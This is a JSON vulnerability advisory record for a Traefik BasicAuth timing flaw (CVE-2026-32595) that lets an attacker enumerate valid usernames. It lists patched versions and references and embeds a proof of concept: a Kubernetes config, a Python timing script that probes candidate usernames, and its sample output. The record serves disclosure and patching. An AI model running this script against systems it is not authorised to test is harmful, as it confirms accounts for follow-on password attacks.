{"id":"CVE-2026-32595","aliases":["GHSA-g3hg-j4jv-cwfr","GO-2026-4792"],"url":"https://o3.security/vulnerability/CVE-2026-32595","summary":"Traefik: BasicAuth Middleware Timing Attack Allows Username Enumeration","details":"## Summary\n\nThere is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.\n\nWhen a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n
\nOriginal Description\n\n### Summary\nA timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.\n\n### Details\nThe vulnerability exists in the BasicAuth middleware implementation. When validating credentials:\n- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design\n- User doesn't exist: The system immediately returns authentication failure in ~0.6ms\n\nThis timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.\n\nRoot Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.\n\nExpected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.\n\n### PoC\nEnvironment:\n- Traefik v3.6.9\n- k3s v1.34.5\n\nConfiguration:\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n name: basicauth\n namespace: traefik-poc\nspec:\n basicAuth:\n secret: basic-auth-secret\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n name: test-basicauth\n annotations:\n traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd\nspec:\n ingressClassName: traefik\n rules:\n - http:\n paths:\n - path: /protected\n pathType: Prefix\n backend:\n service:\n name: whoami\n port:\n number: 80\n```\n\nPoC Script:\n```python\n#!/usr/bin/env python3\nimport requests\nimport time\nimport statistics\nimport sys\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://localhost:30080/protected\"\nTEST_USERS = [\"admin\", \"root\", \"test\", \"nonexistent12345\"]\nSAMPLES = 20\ndef measure_time(username, password=\"wrongpassword\"):\n times = []\n for _ in range(SAMPLES):\n start = time.perf_counter()\n requests.get(TARGET, auth=(username, password), timeout=5)\n elapsed = time.perf_counter() - start\n times.append(elapsed)\n return statistics.median(times)\nprint(f\"Target: {TARGET}\")\nprint(f\"Samples per user: {SAMPLES}\\n\")\nfor user in TEST_USERS:\n median = measure_time(user)\n if median > 0.05: # bcrypt threshold\n status = \"[+] EXISTS (slow - bcrypt verification)\"\n else:\n status = \"[-] NOT FOUND (fast - immediate return)\"\n print(f\"{status}: {user:20s} | median={median:.4f}s\")\n```\n\nExecution Results:\n```\nTarget: http://10.10.10.7:30080/protected\nSamples per user: 20\n\n[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s\n[-] NOT FOUND (fast - immediate return): root | median=0.0006s\n[-] NOT FOUND (fast - immediate return): test | median=0.0006s\n[-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s\n\nTiming difference ratio: 298.0x\n```\n\n### Impact\n- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)\n- **Impact:**\n - Attackers can enumerate valid usernames without authentication\n - Enables targeted password brute-force attacks against confirmed accounts\n - Exposes information about system user structure\n- **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:\n - BasicAuth middleware enabled\n - Attacker able to make requests to protected endpoints\n - Network access to measure response times\n- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times\n- **Privileges Required:** None\n- **User Interaction:** None\n\n
\n\n---","published":"2026-03-20T10:08:41.636Z","modified":"2026-08-12T03:51:09.734846323Z","cvss":null,"epss":{"score":0.00385,"percentile":0.31319,"asOf":"2026-08-08"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/traefik/traefik","fixedVersion":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","fixedVersion":"2.11.41"},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","fixedVersion":"3.6.11"},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","fixedVersion":"3.7.0-ea.2"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v2.11.41"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v3.6.11"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32595.json"},{"type":"ADVISORY","url":"https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32595"},{"type":"PACKAGE","url":"https://github.com/traefik/traefik"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:09.734846323Z"}}